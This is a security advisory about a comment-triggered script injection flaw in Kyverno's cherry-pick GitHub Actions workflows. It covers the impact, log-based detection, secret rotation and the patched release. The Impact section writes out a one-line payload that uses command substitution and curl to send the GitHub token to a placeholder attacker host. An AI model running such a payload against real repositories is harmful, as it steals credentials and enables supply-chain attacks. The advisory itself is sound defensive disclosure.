Summary
A critical script injection vulnerability in the cherry-pick composite action used by comment-triggered workflows in kyverno/kyverno, kyverno/policies, and kyverno/website allows an unauthenticated attacker to execute arbitrary commands and exfiltrate credentials by commenting on any merged pull request. User-controlled input from PR comments passes through a validation step using git check-ref-format — which permits shell metacharacters such as $() and backticks — and is then directly interpolated into a shell command via GitHub Actions template syntax (${{ inputs.target-branches }}). Because GitHub Actions expands template expressions before the shell executes, command substitution payloads run with access to the repository's GitHub App token or personal access token.
Impact
The vulnerable pattern exists in the cherry-pick composite action across three Kyverno repositories. Secrets at risk include the PR_UPDATER_APP_PRIVATE_KEY GitHub App private key in kyverno/kyverno and kyverno/website, and the PR_UPDATE_TOKEN PAT in kyverno/policies. An attacker who can comment on a merged pull request — requiring no repository permissions — can exfiltrate these secrets by injecting a payload such as /cherry-pick $(curl${IFS}ATTACKER_IP/$GH_TOKEN). Branch protection on main and release branches prevents direct commits, but an attacker in possession of these credentials could push code to any of the 64 unprotected contributor forks and craft social-engineering pull requests targeting maintainers.
Detection
Review GitHub Actions workflow run logs for the comment-cherry-pick.yaml workflow in kyverno/kyverno and comment-commands.yaml in kyverno/policies and kyverno/website. Look for unexpected output in the "Create cherry-pick PRs" step — specifically for command substitution results (runner, hostnames, or encoded tokens) appearing where a branch name is expected. Monitor for anomalous outbound network requests from Actions runners during cherry-pick workflow executions. Rotate the PR_UPDATER_APP_PRIVATE_KEY and PR_UPDATE_TOKEN secrets if any suspicious workflow runs are found prior to the patch date.
Mitigation
Upgrade all affected repositories to use the patched cherry-pick composite action released in v1.19.2. The fix eliminates the direct template-expression interpolation of user-supplied input into shell commands. After upgrading, rotate the PR_UPDATER_APP_PRIVATE_KEY (in kyverno/kyverno and kyverno/website) and PR_UPDATE_TOKEN (in kyverno/policies) as a precaution, since any prior exploitation would have silently exfiltrated these credentials without leaving obvious traces.